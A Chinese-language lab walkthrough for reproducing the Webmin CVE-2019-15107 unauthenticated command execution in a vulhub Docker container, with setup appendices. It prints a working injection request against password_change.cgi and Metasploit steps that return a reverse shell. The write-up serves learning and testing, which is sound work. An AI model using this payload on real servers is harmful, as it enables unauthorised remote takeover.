Webmin远程命令执行漏洞/CVE-2019-15107漏洞分析及poc网上都有很多了,先知论坛也有。可能网上有些文章有些细节没说清楚,给我等复现造成了困惑。本菜也只是结合chybeta、exploit-db等多个渠道整理了一下利用姿势,特点就是过程中的细节都会说清楚,给同样小白的各位同学参考。
本次实验是在kali进行,使用vulhub镜像。
一、启动从vulhub拉取的镜像
docker ps可以看到映射的是10000端口,注意看这里的容器名字
如果没有docker环境的话,后面附录一有在kali上安装docker的教程
二、访问本机IP 10000端口
根据网上公开的poc可知,漏洞利用url是修改密码功能password_change.cgi,且需要开启密码修改功能(1.890默认开启此功能),vulhub的镜像已经开启密码修改功能(如何开启密码修改功能请看后面附录二)。
三、不知道默认登录密码,进入容器中修改root密码为root
重新打开一个shell窗口,进入容器后不要着急退出,后面还会用到
docker exec -it cve-2019-15107_web_1 /bin/bash
进入/usr/share/webmin修改密码
./changepass.pl /etc/webmin root root
四、浏览器里打开password_change.cgi,发现提示外部url,并且给出修改提示。
按照提示修改
在docker里按照提示修改docker容器里的/etc/webmin/config文件
很多同学包括我,习惯使用vim进行修改,但docker容器里并没有vim命令,怎么办呢,还是看后面附录三有教程安装
五、使用网上的poc怼,看到成功执行命令
poc如下
POST /password_change.cgi HTTP/1.1 Host: 192.168.1.146:10000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: redirect=1; testing=1 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 57 user=123&pam=&expired=2&old=test|id&new1=test2&new2=test2
截图中user处需要注意,需提交一个不存在的用户,否则触发不了后面的id命令;
参考chybeta大佬文章,发现不用old处不用填写旧密码,只写命令也可执行命令
六、exploit-db上的模块
链接:https://www.exploit-db.com/exploits/47230
exploit-db上有一个新的rce 模块,从作者描述上可以看到,webmin的1.890到1.920有漏洞是因为有人在SourceForge上的webmin插入了perl qx语句。
这里也提到了1.890默认配置是有漏洞的,之后的版本需要开启密码修改功能
下载ruby格式的poc
改名字,放到/usr/share/metasploit-framework/modules/exploits/unix/webapp/目录下
我这里改成webmin_unauthenticated_rce.rb
名字颜色和其他不一样是因为有可执行权限,这里暂时不管它
msf执行reload_all,重新载入模块
上面看到重载模块出错,是因为刚才没改名字,名字改好后就可以重载成功了
search webmin,可以看到多了一个模块,名字就是刚才我们改的名字
使用这个模块,options查看设置选项
use exploit/unix/webapp/webmin_unauthenticated_rce
可以看到exploit默认使用了reverse_python这个payload,从刚才的exploit-db页面上也可以确认这点
接下来设置攻击目标和本地主机,及ssl(注意webmin默认是ssl,最上面的链接也能看出来)
执行攻击
成功返回shell,并且可以执行命令
截图里的192.168.80.2,是webmin docker的地址,那怎么看容器的IP地址及其他详细信息呢
首先使用docker ps查看正在运行的容器,确定要查看容器的名字,上面有提到过一次这条命令
使用docker inspect cve-2019-15107_web_1(就是上面看到的容器名)可以看到容器详细信息
docker inspect cve-2019-15107_web_1
这里我们只关系IP,其他暂时不考虑
七、使用metasploit集成exploit
还是search webmin
和上面的一样的设置,rhosts、lhost、ssl,和上面一样的执行效果
附录一:
上面说到需要开启修改密码功能才能利用漏洞,那么如果开启这个功能呢?
使用刚才改的密码(root/root)登录成功后,进入Webmin Configuration
在password expiry policy那里选择Prompt users with expired passwords to enter a new one,允许用户使用过期密码登录并修改一个新密码
等待webmin重启,配置生效。查看docker容器里的/etc/webmin/miniserv.con,可以发现passwd_mode的值已经从0变为了2
查看/usr/share/webmin/password_change.cgi,可以发现红框部分会对miniserv.conf中的password_mode值判断,为2时才enable
附录二:
kali安装docker
apt install docker docker-compose
注意1:有些linux发行版,docker-compose工具是使用pip安装的pip install docker-compose,这里只说明kali下的安装
注意:2:如果安装太慢,则需要更改kali源为国内源,这里就不说了,百度一大把,但要注意的是搜索kali rolling国内源,有些文章还是kali 1.0、kali 2.0的源
附录三:
容器里安装vim,很简单
先进入容器查看发行版,确定使用yum还是apt安装工具
可以看到使用的debian8的操作系统,接下来apt安装
但你会发现网速很慢,只有几十KB每秒,为什么呢,因为默认用的国外源,这下本质上改kali源一样了,改成国内的源。
修改docker容器里的源
vim /etc/apt/sources.list
但我们还没安装vim呀,这不互相矛盾么,变成先有鸡还是先有蛋的问题,别急,使用echo的方式写入sources.list
echo "deb http://mirrors.ustc.edu.cn/debian stable main contrib non-free" > /etc/apt/sources.list echo "deb-src http://mirrors.ustc.edu.cn/debian stable main contrib non-free" >> /etc/apt/sources.list
第一条命令是把echo的命令写入到sources.list文件,sources.list原先的内容清空;
第二条命令是">>",追加的意思,不删除原有内容,这样两条语句都写入到sources.list了。
然后apt update更新源信息
这样就快了很多
上面附录2说的修改kali的源就是这样修改的,只不过源不一样
更新完源之后,就可以安装vim了
安装完vim后,可以愉快修改docker容器里的/etc/webmin/config文件了
本文是参考多位大佬文章才形成的,有国内的,有国外的。谢谢各位大佬的慷慨分享让我学习到webmin的利用方式和原理
https://xz.aliyun.com/t/6040
https://vulhub.org/#/environments/webmin/CVE-2019-15107/
https://www.exploit-db.com/exploits/47230
https://www.pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html